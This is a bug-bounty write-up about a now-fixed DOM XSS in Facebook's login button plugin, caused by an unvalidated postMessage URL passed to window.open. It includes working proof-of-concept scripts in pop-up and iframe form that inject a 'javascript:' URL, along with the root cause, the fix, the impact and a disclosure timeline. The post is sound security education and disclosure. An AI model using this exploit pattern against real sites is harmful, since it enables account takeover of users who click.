$20000 Facebook DOM XSS

This is the story of how I found $20000 Facebook DOM XSS

Vinoth Kumar
Vinoth Kumar

The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it. ā€” Mozilla postMessage Documentation

If you want to know more about postMessage & cross-domain communication, I would recommend reading the below articles.

Background

I think DOM XSS through postMessage is an underrated vulnerability and mostly unnoticed by a lot of bug bounty hunters.

Recently, I started looking into client-side vulnerabilities instead of finding open dashboards and credentials (If you look at my HackerOne reports, most of my reports are open dashboard or Github credential leak)1.

Initially, I started looking for XSSI, JSONP & postMessage issues. But the XSSI & JSONP vulnerabilities are very rare to find and these vulnerabilities would be dead since the SameSite cookie was introduced2. So, I was more interested and keen to look into postMessage vulnerabilities as this is mostly ignored by security researchers, but it's very easy to debug & no need to bypass Firewalls.

Also, to make it easier I have created a Chrome extension to view/log cross window communication happening on the page3.

Normally a website uses an iframe communication on widgets, plugins, or web SDKs. So when I started looking Facebook for the iframe issues, I immediately went to https://developers.facebook.com and started digging around Facebook's third-party plugins.

And I have noticed that the Facebook Login SDK for JavaScript creates a proxy iframe v6.0/plugins/login_button.php for cross-domain communication. Proxy frame renders the Continue with Facebook button. But the interesting thing was the javascript SDK sends an init payload to the proxy frame which contains the button's click URL. The flow for login SDK is below.

Third-Party website + (Facebook Login SDK for JavaScript)
<iframe src='https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&button_type=continue_with&channel=REDIRECT_URL&sdk=joey'>
</iframe>
The Facebook Javascript SDK sends the initial payload to the iframe proxy.
iframe.contentWindow.postMessage({"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'INT_ID',
'url':'https://www.facebook.com/v7.0/dialog/oauth?app_id=APP_ID&SOME_OTHER_PARAMS',
'size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971'screenWidth':1680}}})},"origin":"APP_DOMAIN"}, '*') 
When an user clicks Login with Facebook button,
window.open('https://www.facebook.com/v7.0/dialog/oauth?app_id=APP_ID')
happens on the proxy iframe. 
Which is the url from postMessage payload šŸ¤”
The popup window sends the accesstoken and signed-request to the third-party website by 
window.opener.parent.postMessage(result, origin)

If we carefully look into the payload, SDK sends to the Facebook plugin iframe, The url param sinked to an i variable and when the button click event triggers the below function is getting executed.

i.url = i.url.replace(/cbt=\d+/, "cbt=" + a);
a = window.open(i.url, i.id, b("buildPopupFeatureString")(i));

When I saw this javascript code I was like... "really, I knew what was about to come šŸ˜‰"!!. Because via window.open('javascript:alert(document.domain)') DOM XSS could be exploited and there's no url/schema validation in the javascript.

So if we send a payload with url:'javascript:alert(document.domain)' to the https://www.facebook.com/v6.0/plugins/login_button.php iframe and the user click's the Continue With Facebook button javascript:alert(document.domain) would be executed on facebook.com domain.

Exploiting the Iframe

There are two ways to exploit this issue.

  1. By opening a pop-up window and commuicating with it
  2. Opening an iframe and commuicating with it

Pop-up method

<script>   
   var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");
   
   setTimeout(function(){
        var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
        opener.postMessage(message, '*');
    },'4000');
</script>

Iframe method

As this endpoint intentionally missing the 'X-Frame-Options' or the CSP 'frame-ancestors' header, This page could easily be embedded into the attacker's page.

<script>
function fbFrameLoaded() {
  var iframeEl = document.getElementById('fbframe');
  var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
  iframeEl.contentWindow.postMessage(message, '*');
};
</script>
<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></iframe>

Fix

Facebook fixed this by adding facebook.com regex domain and schema check in the payload url param.

d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)),
j = c.call;
d || (j.url = b("XOAuthErrorController").getURIBuilder().setEnum("error_code", "PLATFORM__INVALID_URL").getURI().toString())

Proof of Concept

Impact

Due to an incorrect post message configuration, someone visiting an attacker-controlled website and clicks login with the Facebook button would trigger XSS on facebook.com domain behalf of logged-in user. This would have let to 1-click account takeover.

Timeline

  • April 17, 2020 ā€“ Initial Report Sent.
  • April 17, 2020 ā€“ Acknowledgment of Report.
  • April 20, 2020 ā€“ Fix pushed by Facebook.
  • April 29, 2020 ā€“ Confirmation of Fix by Facebook.
  • May 01, 2020 ā€“ $20000 Bounty Awarded by Facebook.

P.S

Thanks to @Prateek for the proof read.


  1. https://hackerone/vinothkumar. ↩︎

  2. https://blog.reconless.com/samesite-by-default/. ↩︎

  3. https://github.com/vinothsparrow/iframe-broker ↩︎